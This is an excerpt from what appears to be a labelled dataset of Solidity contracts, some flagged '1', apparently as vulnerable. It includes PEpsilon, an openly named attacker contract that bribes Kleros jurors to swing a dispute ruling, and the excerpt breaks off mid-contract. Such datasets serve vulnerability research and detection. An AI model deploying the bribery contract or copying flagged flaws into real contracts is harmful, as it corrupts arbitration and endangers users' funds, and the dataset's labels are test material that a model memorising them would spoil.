allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity >=0.4.24 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;}
contract TPIx {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply = 100000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.19;
contract KittenCoin {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract KittenSelfDrop is Ownable {
KittenCoin public kittenContract;
uint8 public dropNumber;
uint256 public kittensDroppedToTheWorld;
uint256 public kittensRemainingToDrop;
uint256 public holderAmount;
uint256 public basicReward;
uint256 public donatorReward;
uint256 public holderReward;
uint8 public totalDropTransactions;
mapping (address => uint8) participants;
function KittenSelfDrop () {
address c = 0xac2BD14654BBf22F9d8f20c7b3a70e376d3436B4;
kittenContract = KittenCoin(c);
dropNumber = 1;
kittensDroppedToTheWorld = 0;
kittensRemainingToDrop = 0;
basicReward = 50000000000;
donatorReward = 50000000000;
holderReward = 50000000000;
holderAmount = 5000000000000;
totalDropTransactions = 0;
}
function() payable {
require (participants[msg.sender] < dropNumber && kittensRemainingToDrop > basicReward);
uint256 tokensIssued = basicReward;
if (msg.value > 0)
tokensIssued += donatorReward;
if (kittenContract.balanceOf(msg.sender) >= holderAmount)
tokensIssued += holderReward;
if (tokensIssued > kittensRemainingToDrop)
tokensIssued = kittensRemainingToDrop;
kittenContract.transfer(msg.sender, tokensIssued);
participants[msg.sender] = dropNumber;
kittensRemainingToDrop -= tokensIssued;
kittensDroppedToTheWorld += tokensIssued;
totalDropTransactions += 1;
}
function participant(address part) public constant returns (uint8 participationCount) {
return participants[part];
}
function setDropNumber(uint8 dropN) public onlyOwner {
dropNumber = dropN;
kittensRemainingToDrop = kittenContract.balanceOf(this);
}
function setHolderAmount(uint256 amount) public onlyOwner {
holderAmount = amount;
}
function setRewards(uint256 basic, uint256 donator, uint256 holder) public onlyOwner {
basicReward = basic;
donatorReward = donator;
holderReward = holder;
}
function withdrawAll() public onlyOwner {
owner.transfer(this.balance);
}
function withdrawKittenCoins() public onlyOwner {
kittenContract.transfer(owner, kittenContract.balanceOf(this));
kittensRemainingToDrop = 0;
}
function updateKittenCoinsRemainingToDrop() public {
kittensRemainingToDrop = kittenContract.balanceOf(this);
}
} | 0 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GenesisToken is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = 'Genesis';
string public constant symbol = 'GNS';
uint256 public constant decimals = 18;
string public version = '0.0.1';
event EarnedGNS(address indexed contributor, uint256 amount);
event TransferredGNS(address indexed from, address indexed to, uint256 value);
function GenesisToken(
address _owner,
uint256 initialBalance)
{
owner = _owner;
totalSupply = initialBalance;
balances[_owner] = initialBalance;
EarnedGNS(_owner, initialBalance);
}
function giveTokens(address _to, uint256 _amount) onlyOwner returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
EarnedGNS(_to, _amount);
return true;
}
}
contract CrowdWallet is Ownable {
using SafeMath for uint;
struct Deposit {
uint amount;
uint block;
}
struct Payout {
uint amount;
uint block;
}
GenesisToken public token;
mapping (address => Deposit[]) public deposits;
mapping (address => Payout[]) public payouts;
uint public lifetimeDeposits;
uint public lifetimePayouts;
uint public blocksPerPayPeriod = 172800;
uint public previousPayoutBlock;
uint public nextPayoutBlock;
uint public payoutPool;
uint multiplier = 10**18;
uint public minWithdrawalThreshold = 100000000000000000;
event onDeposit(address indexed _from, uint _amount);
event onPayout(address indexed _to, uint _amount);
event onPayoutFailure(address indexed _to, uint amount);
function CrowdWallet(address _gns, address _owner, uint _blocksPerPayPeriod) {
token = GenesisToken(_gns);
owner = _owner;
blocksPerPayPeriod = _blocksPerPayPeriod;
nextPayoutBlock = now.add(blocksPerPayPeriod);
}
function setMinimumWithdrawal(uint _weiAmount) onlyOwner {
minWithdrawalThreshold = _weiAmount;
}
function setBlocksPerPayPeriod(uint _blocksPerPayPeriod) onlyOwner {
blocksPerPayPeriod = _blocksPerPayPeriod;
}
function withdraw() {
require(previousPayoutBlock > 0);
require(!isAddressLocked(msg.sender));
uint payoutAmount = calculatePayoutForAddress(msg.sender);
require(payoutAmount > minWithdrawalThreshold);
payouts[msg.sender].push(Payout({ amount: payoutAmount, block: now }));
require(this.balance >= payoutAmount);
onPayout(msg.sender, payoutAmount);
lifetimePayouts += payoutAmount;
msg.sender.transfer(payoutAmount);
}
function isAddressLocked(address contributor) constant returns(bool) {
var paymentHistory = payouts[contributor];
if (paymentHistory.length == 0) {
return false;
}
var lastPayment = paymentHistory[paymentHistory.length - 1];
return (lastPayment.block >= previousPayoutBlock) && (lastPayment.block < nextPayoutBlock);
}
function isNewPayoutPeriod() constant returns(bool) {
return now >= nextPayoutBlock;
}
function startNewPayoutPeriod() {
require(isNewPayoutPeriod());
previousPayoutBlock = nextPayoutBlock;
nextPayoutBlock = nextPayoutBlock.add(blocksPerPayPeriod);
payoutPool = this.balance;
}
function calculatePayoutForAddress(address payee) constant returns(uint) {
uint ownedAmount = token.balanceOf(payee);
uint totalSupply = token.totalSupply();
uint percentage = (ownedAmount * multiplier) / totalSupply;
uint payout = (payoutPool * percentage) / multiplier;
return payout;
}
function ethBalance() constant returns(uint) {
return this.balance;
}
function deposit() payable {
onDeposit(msg.sender, msg.value);
lifetimeDeposits += msg.value;
deposits[msg.sender].push(Deposit({ amount: msg.value, block: now }));
}
function () payable {
deposit();
}
} | 0 |
pragma solidity ^0.4.24;
contract PEpsilon {
Pinakion public pinakion;
Kleros public court;
uint public balance;
uint public disputeID;
uint public desiredOutcome;
uint public epsilon;
bool public settled;
uint public maxAppeals;
mapping (address => uint) public withdraw;
address public attacker;
uint public remainingWithdraw;
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
event AmountShift(uint val, uint epsilon ,address juror);
event Log(uint val, address addr, string message);
constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public {
pinakion = _pinakion;
court = _kleros;
disputeID = _disputeID;
desiredOutcome = _desiredOutcome;
epsilon = _epsilon;
attacker = msg.sender;
maxAppeals = _maxAppeals;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
balance += _amount;
}
function withdrawJuror() {
withdrawSelect(msg.sender);
}
function withdrawSelect(address _juror) {
uint amount = withdraw[_juror];
withdraw[_juror] = 0;
balance = sub(balance, amount);
remainingWithdraw = sub(remainingWithdraw, amount);
require(pinakion.transfer(_juror, amount));
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function withdrawAttacker(){
require(settled);
if (balance > remainingWithdraw) {
uint amount = balance - remainingWithdraw;
balance = remainingWithdraw;
require(pinakion.transfer(attacker, amount));
}
}
function settle() public {
require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved);
require(!settled);
settled = true;
var (, , appeals, choices, , , ,) = court.disputes(disputeID);
if (court.currentRuling(disputeID) != desiredOutcome){
uint amountShift = court.getStakePerDraw();
uint winningChoice = court.getWinningChoice(disputeID, appeals);
for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){
if (winningChoice != 0){
uint votesLen = 0;
for (uint c = 0; c <= choices; c++) {
votesLen += court.getVoteCount(disputeID, i, c);
}
emit Log(amountShift, 0x0 ,"stakePerDraw");
emit Log(votesLen, 0x0, "votesLen");
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j=0; j < votesLen; j++){
uint voteRuling = court.getVoteRuling(disputeID, i, j);
address voteAccount = court.getVoteAccount(disputeID, i, j);
emit Log(voteRuling, voteAccount, "voted");
if (voteRuling != winningChoice){
totalToRedistribute += amountShift;
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += amountShift + epsilon;
remainingWithdraw += amountShift + epsilon;
emit AmountShift(amountShift, epsilon, voteAccount);
}
} else {
nbCoherent++;
}
}
uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1);
for (j = 0; j < votesLen; j++){
voteRuling = court.getVoteRuling(disputeID, i, j);
voteAccount = court.getVoteAccount(disputeID, i, j);
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += toRedistribute;
remainingWithdraw += toRedistribute;
emit AmountShift(toRedistribute, 0, voteAccount);
}
}
}
}
}
}
}
pragma solidity ^0.4.24;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract Pinakion is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
Pinakion public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function Pinakion(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = Pinakion(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
Pinakion cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
Pinakion token = Pinakion(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (Pinakion) {
Pinakion newToken = new Pinakion(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract RNG{
function contribute(uint _block) public payable;
function requestRN(uint _block) public payable {
contribute(_block);
}
function getRN(uint _block) public returns (uint RN);
function getUncorrelatedRN(uint _block) public returns (uint RN) {
uint baseRN=getRN(_block);
if (baseRN==0)
return 0;
else
return uint(keccak256(msg.sender,baseRN));
}
}
contract BlockHashRNG is RNG {
mapping (uint => uint) public randomNumber;
mapping (uint => uint) public reward;
function contribute(uint _block) public payable { reward[_block]+=msg.value; }
function getRN(uint _block) public returns (uint RN) {
RN=randomNumber[_block];
if (RN==0){
saveRN(_block);
return randomNumber[_block];
}
else
return RN;
}
function saveRN(uint _block) public {
if (blockhash(_block) != 0x0)
randomNumber[_block] = uint(blockhash(_block));
if (randomNumber[_block] != 0) {
uint rewardToSend = reward[_block];
reward[_block] = 0;
msg.sender.send(rewardToSend);
}
}
}
contract BlockHashRNGFallback is BlockHashRNG {
function saveRN(uint _block) public {
if (_block<block.number && randomNumber[_block]==0) {
if (blockhash(_block)!=0x0)
randomNumber[_block]=uint(blockhash(_block));
else
randomNumber[_block]=uint(blockhash(block.number-1));
}
if (randomNumber[_block] != 0) {
uint rewardToSend=reward[_block];
reward[_block]=0;
msg.sender.send(rewardToSend);
}
}
}
contract Arbitrable{
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;}
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence);
constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator{
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;}
modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;}
event AppealPossible(uint _disputeID);
event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable);
function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes _extraData) public constant returns(uint fee);
function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee);
function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status);
function currentRuling(uint _disputeID) public constant returns(uint ruling);
}
contract Kleros is Arbitrator, ApproveAndCallFallBack {
Pinakion public pinakion;
uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2;
RNG public rng;
uint public arbitrationFeePerJuror = 0.05 ether;
uint16 public defaultNumberJuror = 3;
uint public minActivatedToken = 0.1 * 1e18;
uint[5] public timePerPeriod;
uint public alpha = 2000;
uint constant ALPHA_DIVISOR = 1e4;
uint public maxAppeals = 5;
address public governor;
uint public session = 1;
uint public lastPeriodChange;
uint public segmentSize;
uint public rnBlock;
uint public randomNumber;
enum Period {
Activation,
Draw,
Vote,
Appeal,
Execution
}
Period public period;
struct Juror {
uint balance;
uint atStake;
uint lastSession;
uint segmentStart;
uint segmentEnd;
}
mapping (address => Juror) public jurors;
struct Vote {
address account;
uint ruling;
}
struct VoteCounter {
uint winningChoice;
uint winningCount;
mapping (uint => uint) voteCount;
}
enum DisputeState {
Open,
Resolving,
Executable,
Executed
}
struct Dispute {
Arbitrable arbitrated;
uint session;
uint appeals;
uint choices;
uint16 initialNumberJurors;
uint arbitrationFeePerJuror;
DisputeState state;
Vote[][] votes;
VoteCounter[] voteCounter;
mapping (address => uint) lastSessionVote;
uint currentAppealToRepartition;
AppealsRepartitioned[] appealsRepartitioned;
}
enum RepartitionStage {
Incoherent,
Coherent,
AtStake,
Complete
}
struct AppealsRepartitioned {
uint totalToRedistribute;
uint nbCoherent;
uint currentIncoherentVote;
uint currentCoherentVote;
uint currentAtStakeVote;
RepartitionStage stage;
}
Dispute[] public disputes;
event NewPeriod(Period _period, uint indexed _session);
event TokenShift(address indexed _account, uint _disputeID, int _amount);
event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount);
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
modifier onlyDuring(Period _period) {require(period == _period); _;}
modifier onlyGovernor() {require(msg.sender == governor); _;}
constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public {
pinakion = _pinakion;
rng = _rng;
lastPeriodChange = now;
timePerPeriod = _timePerPeriod;
governor = _governor;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
jurors[_from].balance += _amount;
}
function withdraw(uint _value) public {
Juror storage juror = jurors[msg.sender];
require(juror.atStake <= juror.balance);
require(_value <= juror.balance-juror.atStake);
require(juror.lastSession != session);
juror.balance -= _value;
require(pinakion.transfer(msg.sender,_value));
}
function passPeriod() public {
require(now-lastPeriodChange >= timePerPeriod[uint8(period)]);
if (period == Period.Activation) {
rnBlock = block.number + 1;
rng.requestRN(rnBlock);
period = Period.Draw;
} else if (period == Period.Draw) {
randomNumber = rng.getUncorrelatedRN(rnBlock);
require(randomNumber != 0);
period = Period.Vote;
} else if (period == Period.Vote) {
period = Period.Appeal;
} else if (period == Period.Appeal) {
period = Period.Execution;
} else if (period == Period.Execution) {
period = Period.Activation;
++session;
segmentSize = 0;
rnBlock = 0;
randomNumber = 0;
}
lastPeriodChange = now;
NewPeriod(period, session);
}
function activateTokens(uint _value) public onlyDuring(Period.Activation) {
Juror storage juror = jurors[msg.sender];
require(_value <= juror.balance);
require(_value >= minActivatedToken);
require(juror.lastSession != session);
juror.lastSession = session;
juror.segmentStart = segmentSize;
segmentSize += _value;
juror.segmentEnd = segmentSize;
}
function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[msg.sender];
VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals];
require(dispute.lastSessionVote[msg.sender] != session);
require(_ruling <= dispute.choices);
require(validDraws(msg.sender, _disputeID, _draws));
dispute.lastSessionVote[msg.sender] = session;
voteCounter.voteCount[_ruling] += _draws.length;
if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) {
voteCounter.winningCount = voteCounter.voteCount[_ruling];
voteCounter.winningChoice = _ruling;
} else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) {
voteCounter.winningChoice = 0;
}
for (uint i = 0; i < _draws.length; ++i) {
dispute.votes[dispute.appeals].push(Vote({
account: msg.sender,
ruling: _ruling
}));
}
juror.atStake += _draws.length * getStakePerDraw();
uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror;
msg.sender.transfer(feeToPay);
ArbitrationReward(msg.sender, _disputeID, feeToPay);
}
function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public {
Dispute storage dispute = disputes[_disputeID];
Juror storage inactiveJuror = jurors[_jurorAddress];
require(period > Period.Vote);
require(dispute.lastSessionVote[_jurorAddress] != session);
dispute.lastSessionVote[_jurorAddress] = session;
require(validDraws(_jurorAddress, _disputeID, _draws));
uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR;
penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance;
inactiveJuror.balance -= penality;
TokenShift(_jurorAddress, _disputeID, -int(penality));
jurors[msg.sender].balance += penality / 2;
TokenShift(msg.sender, _disputeID, int(penality / 2));
jurors[governor].balance += penality / 2;
TokenShift(governor, _disputeID, int(penality / 2));
msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror);
}
function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state == DisputeState.Open);
require(dispute.session+dispute.appeals <= session);
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
for (uint i = 0; i <= dispute.appeals; ++i) {
if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) {
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j = 0; j < dispute.votes[i].length; ++j) {
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
totalToRedistribute += penalty;
} else {
++nbCoherent;
}
}
if (nbCoherent == 0) {
jurors[governor].balance += totalToRedistribute;
TokenShift(governor, _disputeID, int(totalToRedistribute));
} else {
uint toRedistribute = totalToRedistribute / nbCoherent;
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
}
}
}
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
}
}
dispute.state = DisputeState.Executable;
}
